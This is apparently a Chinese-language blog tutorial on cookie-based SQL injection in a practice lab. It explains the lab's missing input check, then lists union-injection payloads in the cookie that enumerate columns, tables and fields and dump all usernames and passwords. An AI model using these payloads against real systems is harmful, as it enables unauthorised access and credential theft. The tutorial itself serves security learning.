35岁重学网络安全——SQL注入篇(二十二)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:HTTP头部注入——cookie注入

cookie注入

可以将cookie理解为临时身份证。某些网站为了辨别用户信息,进行Session跟踪而存储在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。
作用:暂时记录用户个人信息,且可以保存在客户机上。

代码审计

打开靶场第20节的源代码,是用了check_input函数对用户名和密码进行了检查
在这里插入图片描述

check_input函数检查内容如下,同前面一样,不在多余赘述。
在这里插入图片描述

使用setcookie函数设置cookie信息,setcookie函数原型如下

  • 原型:setcookie(name,value,expire,path,domain,secure)
    • name:必选。规定cookie的名称
    • value:必选。规定cookie的值
    • expire:可选。规定cookie的有效期
    • path:可选。规定cookie的服务器路径
    • domain:可选。规定cookie的域名
    • secure:可选。规定是否通过安全的HTTPS连接来传输cookie

在这里插入图片描述

生成cookie之后,在有效期内再次刷新页面,客户端向数据库服务器发送cookie进行验证,不需要再次输入用户名和密码,且提交的$cookee不再进行check_input验证。

在这里插入图片描述

小结:输入用户名和密码后,网站生成cookie。后续访问网站会携带cookie,不再需要输入用户名和密码(也有不会再有check_input的检查)。接着网站会从cookie中获取用户名,如果用户名存在则允许登录网站,否则拒绝访问。

靶场实战

打开靶场第20节,使用admin账号登录网站
在这里插入图片描述

在这里插入图片描述

刷新网页页面,使用Burp suite抓包。
在这里插入图片描述

Burp ssuite中抓取数据包,可以看到cookie的内容为用户名。
在这里插入图片描述

在源代码中可以看到,已登录用户每次访问网页,都会执行以下的sql语句。因此使用union注入
在这里插入图片描述

判断列数

因为使用union注入,因此按照union注入的流程。
参数:uname=admin' order by 4 #,页面报错,列数小于4
在这里插入图片描述

参数:uname=admin' order by 3 #,页面正常显示,因此列数为3。
在这里插入图片描述

查询回显位

参数:uname=admi' union select 1,2,3 #,将admin改为admi(不存在的内容),便于判断回显位。
在这里插入图片描述

查询数据库名称

参数:uname=admi' union select 1,2,database() #
在这里插入图片描述

查询表名称

参数:uname=admi' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
在这里插入图片描述

查询列名称

参数:uname=admi' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') #
在这里插入图片描述

查询数据

参数:uname=admi' union select 1,2,(select group_concat(username,':',password) from users) #
在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值